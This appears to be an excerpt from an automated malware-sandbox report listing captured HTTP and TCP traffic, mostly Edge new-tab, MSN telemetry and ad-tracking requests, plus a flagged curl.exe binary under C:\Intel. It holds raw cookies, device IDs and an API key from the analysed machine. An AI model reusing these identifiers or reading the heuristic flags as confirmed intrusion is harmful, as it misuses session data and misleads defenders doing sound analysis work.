Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349566946&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9241sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349569951&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9231sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349572936&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9239sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349575966&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9241sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736349578941&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1Host: browser.events.data.msn.comConnection: keep-aliveContent-Length: 9241sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Content-Type: text/plain;charset=UTF-8Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: OPTIONS /api/report?cat=msn HTTP/1.1Host: deff.nelreports.netConnection: keep-aliveOrigin: https://assets.msn.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-US&title=New%20tab&fre=1&dsp=1&sp=Bing&prerender=1&firstlaunch=1 HTTP/1.1Host: ntp.msn.comConnection: keep-alivedevice-memory: 8rtt: 200downlink: 10ect: 4gsec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-prefers-color-scheme: lightUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Service-Worker-Navigation-Preload: trueSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; msnup=; msaoptout=0
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=trueUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; pglt-edgeChromium-ntp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; msnup=; msaoptout=0If-None-Match: 0x8DD2F7597EC52F4If-Modified-Since: Tue, 07 Jan 2025 23:47:06 GMT

Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.66.127.165
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.25.216
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203

Source: C:\Intel\curl.exe

Code function: 37_2_00983D70 recv,WSAGetLastError,

37_2_00983D70

Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.489618fee28203b75117.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8Origin: https://ntp.msn.comsec-ch-ua-model: rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 1.6sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.b60625d95d09d3873a85.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8sec-ch-ua-model: rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 1.6sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.80e71276f1bec5cb9e6b.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.810dd47fbaae315d26bb.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.2ac491e0cd85a6452d09.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736349529173&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=b25d3f03ced44bf6925dc8ded78e8089&activityId=b25d3f03ced44bf6925dc8ded78e8089&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_ETH=1; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1736349529174&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=37FD034F4FC568D43F2E16214E436968&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b2?rn=1736349529174&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1%26content%3D1%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=37FD034F4FC568D43F2E16214E436968&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=1B924166339376392b7007c1736349530
Source: global traffic	HTTP traffic detected: GET /sg/msn/1/cm?taboola_hm=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uidmappixel?ext_uid=37FD034F4FC568D43F2E16214E436968&pname=MSN&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.outbrain.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1736349529173&udc=true&pg.n=FRE&pg.t=dhp&pg.c=2083&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-US%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26startpage%3D1%26PC%3DU531%26OCID%3DMNHP_U531%26firstlaunch%3D1&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=b25d3f03ced44bf6925dc8ded78e8089&activityId=b25d3f03ced44bf6925dc8ded78e8089&d.imd=false&scr=1024x768&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=99DEB9607E1443D08D3647A5D960D828&MUID=37FD034F4FC568D43F2E16214E436968 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; SM=T
